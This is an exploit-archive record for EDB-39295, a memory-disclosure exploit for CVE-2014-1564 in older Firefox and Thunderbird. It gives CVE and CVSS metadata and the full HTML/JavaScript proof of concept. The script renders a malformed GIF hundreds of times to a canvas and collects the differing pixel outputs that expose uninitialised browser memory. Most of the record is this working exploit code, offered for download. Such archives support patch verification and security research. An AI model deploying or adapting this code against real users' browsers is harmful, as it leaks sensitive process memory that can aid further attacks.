{"exploit":{"id":"EDB-39295","name":"Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure","description":"Mozilla Firefox 9.0.1 / Thunderbird 3.1.20 - Information Disclosure","cves":["CVE-2014-1564"],"author":"Michal Zalewski","published":"2014-09-02","platform":"multiple","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39295","path":"exploits/multiple/remote/39295.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39295.html","vulnerabilities":[{"id":"CVE-2014-1564","state":"PUBLISHED","title":null,"titleSource":null,"description":"Mozilla Firefox before 32.0, Firefox ESR 31.x before 31.1, and Thunderbird 31.x before 31.1 do not properly initialize memory for GIF rendering, which allows remote attackers to obtain sensitive information from process memory via crafted web script that interacts with a CANVAS element associated with a malformed GIF image.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-1564","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-1564"},"updatedAt":"2024-08-06T09:42:36.511Z","retrievedAt":"2026-11-27T09:08:10.538Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39295.png?v=2","url":"https://exploitbin.com/exploits/EDB-39295","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39295/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39295/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nsource: https://web.archive.org/web/2014/https://www.securityfocus.com/bid/69525/info\n\nMozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.\n\nAttackers can exploit this issue to disclose sensitive information that may aid in further attacks.\n\nThis issue is fixed in:\n\nFirefox 32\nFirefox ESR 31.1\nThunderbird 31.1\n-->\n\n<style>\nbody {\n  background-color: #d0d0d0;\n}\n\nimg {\n  border: 1px solid teal;\n  margin: 1ex;\n}\n\ncanvas {\n  border: 1px solid crimson;\n  margin: 1ex;\n}\n</style>\n\n<body onload=\"set_images()\">\n\n<div id=\"status\">\n</div>\n\n<div id=\"image_div\">\n</div>\n\n<canvas height=32 width=32 id=cvs>\n</canvas>\n\n<h2>Variants:</h2>\n\n<ul id=\"output\">\n</ul>\n\n<script>\nvar c = document.getElementById('cvs');\nvar ctx = c.getContext('2d');\n\nvar loaded = 0;\nvar image_obj = [];\nvar USE_IMAGES = 300;\n\nfunction check_results() {\n\n  var uniques = [];\n\n  uniques.push(image_obj[0].imgdata);\n\n  document.getElementById('output').innerHTML +=\n    '<img src=\"' + image_obj[0].imgdata + '\">';\n\n  for (var i = 1; i < USE_IMAGES; i++) {\n\n    if (image_obj[0].imgdata != image_obj[i].imgdata) {\n\n      for (var j = 1; j < uniques.length; j++)\n        if (uniques[j] == image_obj[i].imgdata) break;\n\n      if (j == uniques.length) {\n\n        uniques.push(image_obj[i].imgdata);\n\n        document.getElementById('output').innerHTML +=\n          '<img src=\"' + image_obj[i].imgdata + '\">';\n\n\n      }\n\n\n    }\n\n  }\n\n  if (uniques.length > 1)\n    alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');\n  else\n    alert('The image has just one variant when rendered. You\\'re probably OK.');\n\n}\n\n\nfunction count_image() {\n\n  loaded++;\n\n  ctx.clearRect(0, 0, 32, 32);\n\n  try {\n    ctx.drawImage(this, 0, 0, 32, 32);\n  } catch (e) { }\n\n  this.imgdata = c.toDataURL();\n\n  if (loaded == USE_IMAGES) check_results();\n\n}\n\n\nfunction set_images() {\n\n  loaded = 0;\n  create_images();\n\n  for (var i = 0; i < USE_IMAGES; i++)\n    image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();\n\n}\n\n\nfunction create_images() {\n\n  for (var i = 0; i < USE_IMAGES; i++) {\n\n    image_obj[i] = new Image();\n    image_obj[i].height = 32;\n    image_obj[i].width = 32;\n    image_obj[i].onerror = count_image;\n    image_obj[i].onload = count_image;\n\n    document.getElementById('image_div').appendChild(image_obj[i]);\n\n  }\n\n}\n\n\n</script>\n\n\n<iframe src='http://www.example.com/'></iframe>","sha256":"44e925febf4cc8726709332d9594e325fec9a0649613078c9a9ca0e69067ac7e","bytes":2427,"fetchedAt":"2026-11-27T09:08:04.142Z","encoding":"utf-8 (display only; download retains original bytes)"}